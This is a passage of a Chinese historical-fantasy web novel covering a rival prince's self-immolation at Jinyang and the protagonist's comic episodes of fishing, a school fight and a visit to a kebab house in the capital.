鸣凤南望王家,受屏藩之命,拱卫华夏。出震向离,汉唐潜兴,深心普照尘刹。刘琨志北伐,延昭守边庭,征战平沙。名贤云往,逸兴随风至天涯。 天下一统时,这里是中原屏障。天下大乱时,这里是龙虎之乡。 到达晋阳城下后,望着斜阳下的雄伟城关,我突然有些感慨。我这一生,怕是走不完大千世界了。晋阳尚且如此,蜀国的成都、唐国的金陵,又该是怎样的锦绣壮丽呢? 西路军早就先我们到达了晋阳城西,东路军也在七天后到达了晋阳东北角。三路人马,十万大军,将晋阳城围了个水泄不通。 三月二十五,是个上路的好日子。 随着冯大人一声令下,我们一起向晋阳发起了进攻。 奇怪的是,敌人只是稍做抵抗,南城门、北城门和西城门的守军便打开了城门,只用了不到半天时间,我们就轻而易举的进入了晋阳城中。 按照冯大人先前的推算,如果对方铁了心要死守,我们可能要围上半年甚至更久才能拿下这座城池。 后来我才知道,是他们自己不想打了。 想想也是,外无援兵,孤城一座,敌强我弱,大势已去,确实没有白白流血的必要。 或许,真正的较量,早就已经在武乡县或者其他两路的某个战场上分出胜负了。 我见到了孙芝。 他立在晋阳城最中心的鼓楼上,披头散发,面容憔悴,手里还举着根火把。很难想象就是这样一个模样可怜的人,当初背弃我们北伐大军,致使兵败祸起、天下大乱、生灵涂炭。 要不是陛下力挽狂澜、再造乾坤,我们不知道要在异族的铁蹄下受到怎样的蹂躏! 冯大人打马出列,看样子是要和他聊上几句,我也紧紧握着硬弓跟随上前,随时准备送走孙芝。 “上次一别,又是数载匆匆……王爷,降了吧,都结束了。” 孙芝的模样有些疯癫,但好在口齿清晰,看来还没有真的疯掉。 “展德……冯展德,本王想过是文训,是李继贤,是文家的小崽子,但怎么也没想到最后会是你啊!” 孙芝长叹一声,苦笑着摇头,懊悔不已:“早知今日,当初在邺城时,我就该毫不犹豫的杀了你!!” 冯大人沉默了半晌,抬起头看向高楼上的孙芝,也不由的叹道:“时也~命也~,当年王爷雄姿英发,在下垂坐下首,谁又能想到今日的事呢?今日虽处境不同,可谁又能料到以后的事呢?” 孙芝听完这句话后,情绪似乎平稳了一些,闭目不语。 “就这样吧!就让文训从我的尸体上踏过去,去建立他的太平盛世吧!我全家八十五口尽在此楼中,今日自焚而去,汴京的煦儿,也由他打杀去吧!” 冯大人听说他要自焚,连忙伸手劝阻道:“王爷休要冲动!且先听我一言!当今陛下仁厚,更兼蜀、唐未定,性命存续,犹未可知,不可……” “你要让我像一条狗一样寄人篱下?摇尾乞怜,整日看文训的脸色过活吗?你也太小看我了!!” “王爷!我不是这个意思……” 孙芝突然收起怒容,悲怆的望向我和冯大人,用一种近乎恳求的语气说道: “展德,你我年少相识,同朝为官数十载,又恩恩怨怨了这么多年,最终还是你笑到了最后!我无话可说,也敬佩你的为人。就让我体面的走吧,就算我央求你……” 冯大人的胳膊停在半空中,僵硬的定格了很久,最终重重的叹了一口气,放了下来。 孙芝望着冯大人,笑着叹了一口气后,目光从我们身上移向周围的战马士卒,看向晋阳城中的斜阳巷陌,看向远处雄伟的高墙城关,看向天边的远山群岱和绚烂云霞。 “文教言!可惜天命属你,不意我啊!” 一缕细烟从鼓楼中淡淡冒出,渐渐演变成团团白雾,最后演变成滚滚黑烟,大火从楼上燃起,下方紧闭的门缝中喷出呛人的黑灰,我听到了里面隐约传来孩子的啼叫和女人的哭喊声。 好像还有婴儿的。 “大人,这……” 说实话,我急了,我也是有孩子的人,这有点太残忍了…… 冯大人没有理我,只是闭着眼睛,表情有些不忍和痛苦。 但他终究还是一言未发。 近处,烈火焚楼。 远处,夕阳正浓。 第136章 唐国来使 建隆二年四月初,晋阳府全境归顺朝廷,一代枭雄孙芝,举家自焚于晋阳钟鼓楼,其长子孙煦,亦在汴京别院中绝望自杀。 陛下念旧,宣旨过往一切不计,追赠孙芝为“中书令”,大郑仍然以其为“晋王”,谥“武厉”。 自此,三晋人心归附。 云中节度使申屠明光遣使者入朝,正式承认大郑的朝廷地位。北方除辽东两府之外,全境平定。 今北方已定,兵甲已足,当奖率三军,南定…… 丝道扑!丝道扑!! 孟玄派人千里加急送来了国书,一路滑跪进汴京城,承认了大郑的宗主国地位,表示西川愿意成为大郑臣属。 啧…… 他这么一整,文训还真不好意思收拾他了。再加上立国之后,水灾和几次大型战争耗光了国库积蓄,士兵们也都思乡心切,是该休养一段时间在做计较了。 于是,大郑要求蜀、唐开放边境,允许士民官绅跨江往来,客商百姓互通有无,提前为未来的统一大业做基础建设。 闭门造车是长远不了的,大郑皇帝的提议挑不出任何毛病。最重要的是,现在的蜀唐两国内部水深火热,后院祸起萧墙,根本没有拒绝的底气。 属于是三家都有本难念的经。 临颍侯府外的金水河畔,万条垂下绿丝绦,新草破土而出,将旧年枯腐一扫而空。薄冰化为涓涓细流,水面一片碧玉清澈,偶尔有一两尾黑鱼飞出镜面,重新落回时,溅起一阵白花。 春江水暖鸭先知,正是河豚欲上时。 凌晨闲坐岸边,手里握着一根长竹竿,脸色紧张的盯着水面上的浮标,一动不动,宛如老僧入定。 他身后的草地里插着一根大木棍,支撑着一顶巨大的黄油伞,小曲凳旁边放着一张黑漆小桌,上面摆着银壶、青瓷杯、两碟小菜和一碟牛肉。脚边还放着两个竹篓,小的那个里面是解二挖来的蚯蚓,大的那个准备装鱼获。 凌晨觉得自己可能会钓上来超大的鱼,所以还嫌弃解二准备的鱼篓太小了。 “我一会要是钓上来一尾有我一半大的鱼,你小子就给我抱回家去!都说了准备个大点的鱼篓,你看看你拿来的这玩意,小家子气。” 站在凌晨身后的解二整张脸都皱在了一起,那脸色分明写满了“我不信”、“吹牛逼”、“钓上来再说吧”。说实话,就侯爷的垂钓技术,这筐鱼篓都多余准备。 “下次我准备个大点的。” “你每次都这样说。” “哗~” 话音刚落,水面传来一阵拍打声,长长的丝线被拉的笔直,整个枯竹竿被隐隐拉弯,有大鱼上钩了!! 左收,右放,在水中将鱼儿遛的没有了力气之后,竹竿猛的向上一抬,一尾大青鲤就这样被拽出了水面,甩到草地上扑腾不止。 “呵呵呵呵~” 凌晨和解二就这么静静的看着距离他们不远处的一个白发老叟笑呵呵的从石头上站了起来,气定神闲的走到时不时还弓一下身的青鲤旁边,用草鞋踩着它的身体把钩子取了下来。 这条鱼真大啊!目测长度都快要接近半米了,那肥大的鱼身都赶上凌晨的腰粗了。 白发童颜的老叟试着提了提,发现好像有点提不动,只能无奈的摇着头叹了口气,准备扣着鱼鳃把它拖走。 “切~” 凌晨用不屑一顾的表情和声音,掩饰自己的眼红嫉妒,装作不在意的对解二说道:“看到没,在没有足够的实力之前,就算有了肥硕的成果,那也不是收获,而是累赘。” 解二:“……” 老叟自然也听到了凌晨的话语,他天天来这里钓鱼,和凌晨属于从未有过言语交流的钓友,十分清楚眼前这个年轻人的心思。 典型的吃不到葡萄就说葡萄酸。 “啧……” 人活一世,争一口气。 老叟费力的扣着鱼鳃,慢慢把鱼拖到水边,双腿岔开弯下腰,将大鱼两边的鱼鳃扣住猛的提起,一把甩回了河水中,砸起一大片水花!! 这通操作把凌晨和解二都懵了,搞不懂这老头是啷个意思。 做完这一切后,老头也不顾自己被水打湿的裤腿,拍着手费力的走上来,不屑的看了一眼凌晨后,施施然的说道: “今天运气真不好,才上了这么小的一尾,老汉瞧不上~” 说罢,他便往自己的钓竿那走去。 下一刻,凌晨一把丢了竹竿怒而愤起,满脸红温、两耳喷气的挽起袖子就朝着老头的背影冲去。他今天一定要叫这老登知道知道,什么叫仗势欺人、什么叫流氓恶霸!! “老登!我忍你很久了!就是因为你这老不死的在一旁干扰,才影响着池鱼不咬我的钩!来来来,有种你别走,吃我一记返老还童拳!!” 解二连忙站到前面,使劲拦住凌晨,又丢人又无奈…… 老叟见凌晨发怒了,白胡子一吹,提起自己的鱼篓和竹竿,不屑的哼了一声,悠哉悠哉的起身离开了。 他可不怕凌晨,他今年七十有六了,又没犯王法。就算是当今皇上来了,也不敢动手打自己,否则就等着被天下人唾骂吧! 又岂会惧一小儿? “侯爷!侯爷,你跟个快入土的争什么呀!你看他那颤巍巍的身板,碰不得呀!” “别拦我!人总有一死,他非要走捷径,老子今天满足这老登!” “哎呀侯爷…冷静,冷静哇!” “怎么了这是?” 就在解二费力的抱住已经失去理智、对着空气挥拳的凌晨时,岸上传来了一道疑惑的声音。 扭头视之,逆子也~ “咳咳……” 见到韩登疑惑的看向已经走上道路的白发老叟,凌晨这才收起怒火,小声在解二身边叮嘱道:“把嘴焊死!” “呃…昂。” 韩登踩着青草和石子走了下来,来到了二人身边。凌晨脸不红心不跳的指着远去的老叟气愤的说道: “你是不知道,我刚才钓上来一条这么大鱼,就…这么大!”凌晨一边说,一边还张开双手给韩登比划: “谁曾想那老不死的自己钓不上来鱼,一时嫉妒我,竟然跑过来趁我不备,把我的鱼扔回了河里,你说气不气人?!” 韩登满脸疑窦的看了看凌晨,又望向解二。 我咋那么不信呢? 那老翁一看就是上了年纪的福人,走路都费劲,慢吞吞的。你俩两个青壮年,怎么被他偷袭得逞的? “算了算了,都说人越老,就越发的孩子气,不过一尾鱼而已,再钓一条就是了。” 我特么…… 凌晨有点心虚的重新坐下,解二也立刻从后面搬来一个小曲凳放在小桌另一边,韩登朝着他点了点头后,撩顺垂衫坐了下来。 凌晨抬手握住竹竿,眼睛盯着河面上,瞥着他问道:“秦王殿下今天怎么有空驾临寒舍啊?” 韩登饶有兴趣的从一旁的备用竿里挑了一个,往鱼钩上串上一条蚯蚓,用力一甩,将鱼钩甩入了河中。 “唐国来人了,说是代表李雄觐见陛下,你猜主使是谁?” 凌晨不耐烦的挥手骂道:“我猜个屁!谁来关我鸟事?又不可能是李雄的女儿或者孙女,我关心这个干嘛?” 韩登的一张帅脸充满了玩味,盯着凌晨看了半晌后,无奈的笑道: “主使是金陵太守周沛,你别小看了这人,我听说他年轻时就是闻名天下的大才子,如今更是位高权重,深得李雄信任。” “那关我啥事?又关你啥事?你有这功夫,还不如多想想怎么让忘忧不想家,你别忘了,你老丈人可不是个好脾气。” “我知道,这不最近正想办法呢么。对了,听说周沛这次来是想向陛下给李家老大求娶一位帝姬,你觉得会是鸯儿还是瑶儿?” 嗯? 凌晨疑惑的看向韩登:“这不是坟头拉二胡——净鬼扯呢么?他家要是举国归顺,那还真有可能。可现在谁都知道过两年大家就要刀兵相见了,这个时候求亲,那不是盐吃多了闲的么? 再说了,李雄的大儿子早就有妃子了,两个妹妹无论嫁谁都不合适啊,去了他能立为正妃不成?那人家能答应吗?这一听就是来挖坑的。” 韩登点着头说道:“就是说啊,这样一来,唐国透露出和睦之意,陛下要是不答应,多少会折损名声,往后开战,怕是得先去一阶。” “这是大哥和嫂子该烦心的事,不是你我能插手的,你少自作聪明啊~” “啧,我就跟你一说,我插的哪门子手?” 韩登提了提鱼竿,接着说道:“听说随行的还有个年轻人,叫什么…沈阅,是唐国右仆射的小儿子,跟着来汴京见见世面的。以后说不得会是江南重臣。 而且我听说此人年纪轻轻便名动江南,诗词双绝,还做得一首好画。这趟来汴京,好像还准备和汴京才子以文会友,我总觉着,来者不善。” 凌晨被韩登的话给逗笑了:“你我都是兵痞流氓,跟他就不是一个赛道的。正所谓秀才遇到兵,有理说不清。他就是把画上的美人画的活过来,那也是一刀的事儿~” 战场上拿不到的东西,靠卖弄嘴舌,那更不可能。 第137章 忘本 “你记住,在绝对的实力面前,一切阴谋诡计都是徒劳。实力才是维护正义的基础,国防才是外交真正的后盾,尊严只在剑锋之上,真理只在投石车的射程之内!” 韩登的脸上露出一副震惊和思索的表情。 说真的,他总感觉自己在凌晨面前永远处于下风向,对方好像什么都不在乎,却又什么都看的清清楚楚,明明白白。 道家三重境,什么都有了,什么都没有,什么都不要,他在哪一重呢? “所以你真的不打算去见见沈阅,杀杀他的锐气吗?” 凌晨皱着眉不耐烦的说道:“我见他干嘛?我需要靠打嘴炮打赢他来证明什么吗?这个天下,除了陛下和大哥之外,还有谁配让我主动一见?” 韩登一听这话就急了,一手握着鱼竿,摆正身子面向凌晨,另一只手伸出食指指着自己,迫不及待的问道:“那我呢?” “看心情~” 啊? 看心情? 韩登余光察觉到一丝异样,扭头看了一眼坡上后,嘴唇扬起,奸笑着问道:“那要是冯大人或者张老兄呢?” 凌晨不假思索的吹起了牛逼: “老冯?他算根毛!我跟你说,不要以为是他带我出来,我就得听他的,谁的话我听不顺耳一样不给面子!老张跟你一样,看我心情~” 韩登的脸上露出了诡异的笑容:“真的?我怎么觉得你是在说大话呢?我要是现在去把冯大人喊来,你敢当着他的面这样说吗?” 凌晨全神贯注的盯着水面上的浮标,随便敷衍道:“你吓唬我?那你去喊,我要是改一个字……” “咳咳……” 凌晨悠闲地表情突然一愣,这声咳嗽…怎么听着那么熟悉呢…… 他缩着脖子扭头看向身后,冯延穿着便服,一手背向身后,一手握拳抵着自己的胡须,眼神不善的看着凌晨。 他身后的张承倒是没看凌晨,只是双手负立在背后,穿着一身员外袍,仰头看着梢上的鸟雀。 “呀…大人!我说今天早上出门时怎么喜鹊叫个不停呢!原来是您大驾光临了啊!您什么时候来的?怎么不提前跟我说一声,好歹我也是您手下出来的兵,走到哪里,您都是我的老上官不是。啊哈哈哈哈~” 凌晨川剧变脸似的堆上笑容,热情的站起身来走到冯延面前作揖行礼,还顺便朝着他身后的张承挑了挑眉、扬了扬下巴。 “也没多久,就在你说老夫算根毛那会到的。” “呃……” 凌晨的笑容僵在了脸上,笑着回头看了一眼正在打哈欠、仿佛事不关己的韩登,又尴尬的呲着大牙吸着气,看向地面,思索怎么把刚才口嗨出去的话给圆回来。 冯延一把拨开他,瞪了他一眼后毫不客气的坐在了凌晨刚才坐的凳子上,伸长胳膊将衣袖往下滑了滑,单手抓起鱼竿,鸠占鹊巢。 “如今你也是出息了,背地里竟敢如此编排老夫,继业还说要带上镜如,来你家小酌几杯,一起聊一聊当年我们在临颍的那些年月。也得亏他有事没来,不然还不知道要听到什么。” 韩——登——!!!! “哪里哪里,不过是一些玩笑话。在我心里,您永远是当年的县令大人,老张和老侯都是我的好大哥啊,没有你们的照顾,哪里有今天的我呢?大人休要介怀,提防中了小人的挑拨离间!” 凌晨将小人这两个字咬的特别重,边说还看向一旁的韩登,如果眼神能杀人,这逼养的反骨仔已经被他千刀万剐了! “行了~你什么德行,我们还不知道吗?哎?你这鱼篓里怎么是空的?是刚来这里垂钓吗?” “噗!!” 冯延的话刚刚讲完,立在后面的解二捂着嘴直接喷了出来,慌不择路的急忙从坡上爬了上去,走到了沿河道路上消失不见了。但他那完全忘我的笑声却飘荡进了众人的耳中。 老二最近太清闲了啊,听说老王那边最近缺少修建船坞的徭役,也该把他派出去锻炼身体了,你瞅瞅,都胖成什么样了。 “是的,我也才来不久。” 坐下来的韩登别过头去,反手捂着嘴跟个娘们一样笑的止都止不住,脖子都笑红了。 真讨厌! 就在这时,冯延手中的鱼竿抖了起来。他目中精光一闪,双手握竿,先是试了试鱼的份量,感受清楚后,直接起身双臂一挥,将一尾巴掌大的草鲢提到了空中。 看的凌晨想骂娘。 刚才你们他妈都不在家是吗? 河边草树新花开苞,鸟儿立在枝头,摆尾求偶,衔泥筑巢。暖阳照射在青青草地,水面上货船张帆急驰而过,与彩船的悠悠静漂形成一快一慢的鲜明对比。一个是生活,另一个也是生活。 对岸的桃花开遍绿野,孩童们放飞的纸鸢依稀可见,一生中最开心的时光正在此间。才子佳人并肩谈游,相交有节,红尘里最美好的情感都藏在笑颜。 天上流云聚又复散,马踏浅草没又新添。 想当年烽火漫天,雨夜刀光现,旌旗猎猎,枕戈卧雪踏尽贼营栏;看今日春花遍野,晴照艳阳天,暖风熏人,四海升平垂钓半日闲。 蓦然回首,原来已经过了万重山。 那些在彩船上纸醉金迷的公子哥和妩媚邀欢的舞女们打死也想不到,岸边这个专心钓鱼的普通老头会是当今兵部尚书;互相丢枯枝和石子的两个无状年轻人竟然是秦王和殿帅;站在中间劝架的中年大叔会是京兆尹。 —— 时光好像按下了暂停键,大郑进入了真真正正的休养阶段,吹角连营仿佛成了很遥远的过去。所有人都身心舒畅,再也没有了兵祸之忧,开始努力为生活奋斗。 但凌晨还有点小麻烦要去解决。 小王臣鹤今年十岁了,老文最初的意思是让他进入宫中读书,等文若的儿子长大后一起做个伴读,感情要从小培养嘛~ 别看小王臣鹤年纪不大,人已经聪明的不得了了。书读的好,说话不卑不亢,在大场面上也不羞怯,知礼懂事,深得老文喜爱。 最重要的是,这个小屁孩的身后站着王臣鹤的虚影,王臣鹤这三个字代表着什么,相信天下人都知道。 但是钟莺觉得把儿子放在宫中不放心,谁知道有没有脑残会为了争宠或者其他什么目的拿她的儿子做文章? 所以她很大胆的婉拒了老文的隆恩,想将孩子带在自己身边。 老文这个人最大的魅力就是不强迫别人做自己不喜欢的事情,见钟莺开口了,知道对方是下定了决心的,于是立刻就痛痛快快的算了。 钟莺给儿子随便报了个下马庄的官学,用她的话来说,若是儿子争气,在哪里都能学有所成。若是他自己不争气,就是把书塞进他脑袋里,隔天还是会忘个一干二净。 况且下马庄是权贵聚集地,那里的官学已经是大郑一等一的师资力量了。 而昨天,一向乖巧懂事的小王臣鹤,跟同学打架了。 官学的教谕叫家里人去学堂,要聊聊孩子的教育问题。他们之所以敢这么牛逼哄哄、视权贵如无物,是因为他们是国子监直属的学堂。 钟莺是个妇道人家,出面不方便。让管家去又恐惹人非议,让人家说“你看王臣鹤那一家子多高傲,派管家去和国子监的官员会面”。 思来想去、想来思去,钟莺就趁着看青柠的空隙,向她提起此事,想请凌晨去帮忙见见。 青柠二话不说就答应了,叫丫鬟告知凌晨,赶紧去办事。 钟莺还觉得不妥,想亲自对凌晨当面说清楚,却被青柠给拦下了,叫她不用跟凌晨客气。 天大地大,坐月子的老婆最大。再说王臣鹤和钟莺的事,那就是自己的事,于是凌晨便从丫鬟手中接过小王臣鹤,一大一小前往学堂挨训去了。 离了侯府后,凌晨和小王臣鹤互相斜着瞥了对方一眼,一大一小都笑了。 “晨叔,你就不好奇我为什么和同窗打架吗?” “甭扯那没有用的,我就问你,打赢了没?” 小王臣鹤在最糟糕的童年遇到了凌晨,每次凌晨去见王臣鹤都会给他带麦芽糖和蜜饯,还偷偷瞒着钟莺给他折纸飞机、画铁胆火车侠,是小王臣鹤除了父母以外最亲近的人。 “当然打赢了,我揪着他们的头发,把他们揍的鼻青脸肿,他们三个都没打赢我一个!” “好~~” 凌晨蹲下来摸了摸小王臣鹤的脑袋,笑着朝着他竖起了大拇指: “干的漂亮!你要记住,你不能主动去欺负别人,永远都不能。但是如果有傻鸟胆敢欺负你,你就直接把他的鼻子打歪!出了事你爹兜着。” 小王臣鹤嘻嘻笑着用力点头:“嗯!我记住了!” “走,西市上新开了一家龟兹商人的杂货铺,我听说里面有葡萄干和孜然羊肉串,咱爷俩先填饱肚子,再去找那个什么鸟教谕。” 小王臣鹤拉着凌晨的手边走边问道:“晨叔,你就不担心去晚了…夫子为难你吗?” 嗯? 凌晨一脸无所谓的看着小王臣鹤说道:“不会的,放心吧。” 为难我?他这辈子能见到我,都是他祖坟冒青烟。 要不是钟莺不想儿子的身份姓名被别人知晓,以免引起不便。光是“王臣鹤长子”这一个名头,他都多余跑这一趟。 第138章 叫家长 一尘不染的街道,交替巡逻的衙役,粗壮高大的行道树,安闲静谧的宽巷陌,以及偶尔走过的一顶轿子、两三个轿夫、四五个下人随从,组成了与汴京城内其他任何地方都不同的下马庄。 贵庄官巷,下马庄住的,都是勋贵;杨柳巷住的,都是官员。 白云书院是国子监奉朝廷命令办造的官学,专门为权贵子弟作启蒙之用,收录的都是六到十岁的孩童。 有人的地方就有江湖,小孩子也不会例外。 偏偏小王臣鹤自小吃苦,生活习惯、行为方式、心理年龄都跟这帮小屁孩完全不符,读书还时常受到夫子的夸赞,自然也就成了同学们眼中的另类。 而且由于保密需要,连白云书院的院长都不知道他爹是谁,国子监只说是勋贵之后,并没有透露更多。 再多透露点,国子监监正就要换人了。 白云书院的院长摸不清小王臣鹤的背景,只能把他当普通勋贵子弟对待。也许是哪个勋贵的亲戚花了重金送进来的,不想孩子被别人小瞧和针对也说不定。 但是,一向乖巧的小王臣鹤,这次竟然一次性打了范阳伯的儿子、上庸侯的孙子、甚至还有南安郡主的孙子。南安郡主是当今皇后的表妹,你这不是开玩笑嘛! 不管怎么样,也要让小王臣鹤的爹娘来一趟,再不来院长就要提前下岗了! 而且从小郡爷鼻子上的青淤来看,这件事要是解决不好,提前投胎也不是没可能哇! 所以,当凌晨牵着小王臣鹤进入到院长的书舍时,带着方高帽、一身棕衫的老院长胡子都快飞起来了,他俩竟然还一人手里攥着一串羊肉串! 那味道大的…… 好像还挺好吃…… 噜噜噜!! 猛的摇了摇头后,院长低头抬眼看向凌晨,这就是他爹么?果然是上梁不正下梁歪!! “在下白云书院院长易清风,不知尊驾如何称呼?现领何爵?呃…车马可曾有随从照料?若是没有,在下可以叫书院的杂役暂为代牵。” 凌晨呲着牙咬下一口羊肉串后,边咀嚼边说道:“你也别扯东拉西的探我底了,这事我已经知道了,是那三个小子先朝我侄子扔泥巴的,难道要让他拿泥巴种荷花?我侄子只是揍他们一顿长长记性,已经很仁慈了。” 易院长闻言一愣,强压下心中的恼怒,憋着气问道:“那尊驾知道令侄打的都是哪家的孩子吗?” 凌晨转头朝向一边,呸了一口嘴里的孜然后,满不在乎的伸出小拇指抠卡在牙缝里的羊肉碎: “不知道,也不想知道。你只要记住,不管他们是谁家的孩子,都不可能比我侄子尊贵就行了。” 原来是个蛮不讲理、不知天高地厚、胡乱护犊子的主。 易清风挺直了身子,觉得凌晨大概率是在打肿脸充胖子,要是真有那么牛逼的身份,早就亮出来了。再说了,他再牛逼,能比南安郡主牛逼? “尊驾,令侄动手打人有错在先,书院是想帮助他化解这场麻烦。你可知,被他打伤的三位小少爷里,有一位是南安郡主的孙子!!” 南安……郡主? 谁啊? 当今天下,除了淮南侯李继贤之外,凌晨不认为还有谁需要自己慎重考量,讲道理、摆依据、谈事实。 亲近的一顿酒的事,不熟的就叔侄齐上阵再揍他一顿。 “不认识,你帮我转告她,管好自己的孩子,再敢有下次,就不是揍一顿这么简单了。” “你……狂妄!!竖子安敢如此!!” 易清风听到凌晨这样说后,浑身都冒出了冷汗!这小子怎么敢说出这种话的,你敢说我特么都不敢听啊!! “南安郡主!南安郡主!皇后娘娘的亲表妹!!!” 啊? 凌晨脸颊一皱,如果不掀桌子的话,皇后娘娘我确实惹不起,再说也不好意思,人家好歹还亲自煮粥给我喝呢~ 但她表妹,又是哪根葱啊? 你让陛下在皇后娘娘和王臣鹤中间二选一,恐怕他也得倾向于王臣鹤吧?我哥手握青徐十几万兵马,说是大郑的南天一柱也不为过。就是小王臣鹤打了走路还有点摇摇摆摆的太孙,估计也就是骂一顿的事。 皇后的表妹的孙子,这都多远了? 你咋不说是她爷爷的二姑的孙子的儿子的女婿的舅舅的姥姥的儿子的儿子呢? “那你就给她带个话,管教好自己的孙子,如果她管不了,下次说不定又会鼻青脸肿的哭着回去。” 凌晨的傲慢和狂妄彻底激怒了易清风,他索性也不装了,袖子一甩冷哼道: “既然足下执迷不悟,那便带着王审琦离开吧!本庙太小,容不下您二位这样的大佛!免得皇后娘娘凤颜震怒,殃及我等无辜池鱼。” 哎你这人…… 凌晨瞬间就不爱听了,这尼玛怎么就听不懂人话呢?老子能来是给你面子,你却不给我面子。 面子是小,要是自己亲自出马,结果却连个小孩子的事都搞不定,还被书院除名,那以后还哪里的脸去见钟莺和王臣鹤呢? 凌晨一把丢了羊肉串的签子,浑身上下摸了摸,还好,今天带了殿前司的行走令牌。 虽然自己已经不再参与殿前司的事务了,但名头还在。正所谓出门在外,名声有好有坏,殿前司的名头还是能震慑住很多人的,包括那个什么南安郡主。 将令牌丢给易清风后,凌晨双手叉腰无奈的说道:“我的工作就是维护汴京城和开封府的安全和秩序,如果南安郡主不讲道理找你们的麻烦,你让她去殿前司。薛定、刘青山或者何关任意一位都会给她一个满意的答复。” 易清风狐疑的看了一眼凌晨后,低下头翻动着手中的殿司令,轻轻吸了一口气后,刚刚还怒容满面的脸瞬间换上讨好的笑容。 原来如此,是殿前司的人啊!既然是神仙打架,那他这个小鬼也只能传个话跑个腿了。 南安郡主再怎么不满,也不能和殿前司这种掌握实际军权的部门硬刚。 “原来审琦这孩子的父亲还是殿前司的将军,老朽明白了,老朽这就派夫子……哦不,老朽亲自去与郡主说明,相信郡主会通情达理,明辨是非的。再说了,就是孩子之间的玩闹,其实也不是什么大事嘛~” 凌晨呵呵一笑,从老头手里抢回令牌,十分神秘的对他说道:“这你就错了,我是殿前司的人,我侄儿的爹可不是,他比殿前司厉害的多。” “啊……” “总之你告诉南安郡主,以及书院里的其他孩子父母,管教好自己家的娃娃,不要闲的没事招惹我侄子。他爹要是真生气了,他们家的各位大人、亲戚、包括家里的鸡鸭鹅狗猫,都得充军。” 说罢,凌晨便带着小王臣鹤自顾自的离开了,留下易院长呆呆发愣。 易院长级别太低,根本想不通其中的脉络,于是他只能将情况如实上报给南安郡主。 就在他内心忐忑的等待对方发怒或者责问时,郡主府的管家给了他一大笔银子,叫他将这件事烂在肚子里,不要再与其他任何人提起,梦里都不许告诉先人。 易清风虽然得了银子,毫发未伤的离开了郡主府,可他这心情却更加忐忑了,疑惑也更浓了。 殿前司分为京郊大营、城内校场和皇城御林,王审琦那孩子的叔叔明显职位不低,不然南安郡主也不会如此轻易的善罢甘休。可是据他所知,三位指挥使年纪都在三十往上啊,没有他叔叔那么年轻的。 这怎么回事呢? 还有他爹,到底是何方神圣?竟然能让他叔叔狂妄到说出要把南安郡主一府活物拉去充军? 正所谓好奇害死猫,易清风又是个强迫症,这件事不弄明白他睡不着。再说了,如果王审琦的父母果真如此尊贵,那要是趁机结交、攀附上去的话,自己岂不是能一飞冲天?? 于是,他开始了自己私下的打听和暗访,甚至还想派人偷偷跟踪王审琦,看看他放学后会回到哪里。 一天后,春日花明柳媚,书院里的孩子们正坐在学堂中温书,朗朗书声洒在窗前。 “学而时习之,不亦说乎~有朋自远方来,不亦乐乎~人不知而不愠,不亦君子乎~” 就在这时,学堂里进来了一位笑容可掬的和蔼胖夫子,他笑呵呵的走上主位,将手中的几本书放在案几上,伸手示意孩子们先停一停。 十几个孩子都将手中的书籍放下,纷纷瞪大眼睛好奇的看着这个陌生的胖子。 胖夫子双手交叉放在身前,环顾着学堂里的每一位孩子,和蔼的说道: “孩子们,你们的易院长昨日旧疾发作,身体不适,已经无法再来为大家授业解惑了。这件事事发突然,实在是令人感到痛心万分。 不过你们也不用担心,他已经回家静养了,郎中说并无大碍,想来不日就能康复。只是他已经上了年纪,实在不宜继续案牍劳形。所以从今天起,就由我来为大家传授学业了,我叫杨孝,大家可以叫我‘杨夫子’。” “杨夫子好~” “哎哎哎,同学们好~哈哈哈哈~” 第139章 异香楼 没有硝烟的日子里,大家都在为了生活而奋斗。 就连凌晨,也要处理挚友孩子的学业问题这种小事,狂风暴雨中放声而歌,和巷陌暖阳中阶前静坐,都别有一番滋味。 “怎么过~也就是一辈子~ 怎么活~也不过一~百~年~ 过就要过的有滋有味~ 活就要活的神采飞扬~ 男儿有胆气~仗剑走天涯~ 女儿有剑心~柔情满山岗~ 七剑合壁~我们……” 凌晨正沉浸在自己的美妙声线和天籁之音中不可自拔、唱的动情忘我呢,迎面走来一个脑袋上戴着花的娘炮,用一种嫌弃+震惊+害怕的眼神盯着他,让他老脸一红,恼羞成怒。 对方的眼神分明在说:“足下何故扰民?” “你他妈的看什么?” 男子闻言一惊,只当凌晨是哪个医馆没看住跑出来的羊角风,一言不发的迅速跑开了。 “切~呸!” 不屑的朝着男子的背影呸了一口后,凌晨张口想继续唱,却发现被他这么一打搅,彻底没了雅兴。 娘希匹…… 算了,那就继续去西市去吃羊肉串吧,那家龟兹馆子是真不错,羊肉串烤的也挺好,不老不嫩,总是能唤起凌晨记忆深处的街边烧烤摊,有股莫名的熟悉感。 要是有冰镇的小麦果汁,那就更完美了。 带上解二,一手背在腰后,一手提着鸟笼,里面装着小王臣鹤送来的疙瘩宝,殿帅过市,闲人回避。 龟兹酒楼的门前人山人海,一缕缕肉香和木炭的青烟飘荡在街道旁的木楼牌匾,这家店的味道确实不错,读书人们都在排队,不读书的直接硬挤,简直蛮不讲理! 为了治理这种影响市容市貌、可能存在安全隐患的乱象,凌晨让解二手持殿前司的令牌,把挤在门口的食客们通通赶回去排队去了。 皱着眉看到大家都文明的排好队之后,凌晨的脸上露出了老怀甚慰的笑容,转身第一个走进了店里。 龟兹老板已经在上次惠顾时和凌晨聊熟了,叫伙计们去应对店外排队的食客,自己抖着大胡子乐呵呵的将凌晨请上了二楼。 由于是新店,再加上还有点异域风情,这家店的人流量简直可以用“恐怖”一词来形容,二楼的间间包厢都是爆满状态,人声鼎沸。 热情的氛围与烤肉的香味混杂在一起,里面是举杯畅饮的食客,窗外是繁华似锦的西市,热闹非凡。 店主在前面开路,凌晨手提着通背疙瘩的癞蛤蟆,也被热烈的气氛所感染,心情愉悦。 但是,喜欢热闹,不代表就愿意深处热闹之中,所以凌晨对店家安排的临街乙字号雅间不是很满意。 “给我安排甲字号幽静雅间。” 店家为难的说道:“哎客人~实在是不好意思,甲字号房间都被人提前订的满满当当的呢~你就将就一下吧在这里~小人送你大大的羊肉串两盘怎么样?” 凌晨仰起脸用鼻孔看向一脸大胡子的老板:“不怎么样呢我的盆油~我的钱袋子满着呢,你怕我跑了不给钱吗吃完了?” “……” “真的没有了,不是我骗你……” “吱呀~” 就在二人拉扯之际,二楼最西侧的内门被人推开了,两个容貌似乎是西域人的男子就这么丝滑的从凌晨和老板面前走过。 趁着门缝打开的那一刹那,凌晨看清楚了里面是个大堂,但很明显不是一楼那种嘈杂喧嚷的市井之地。 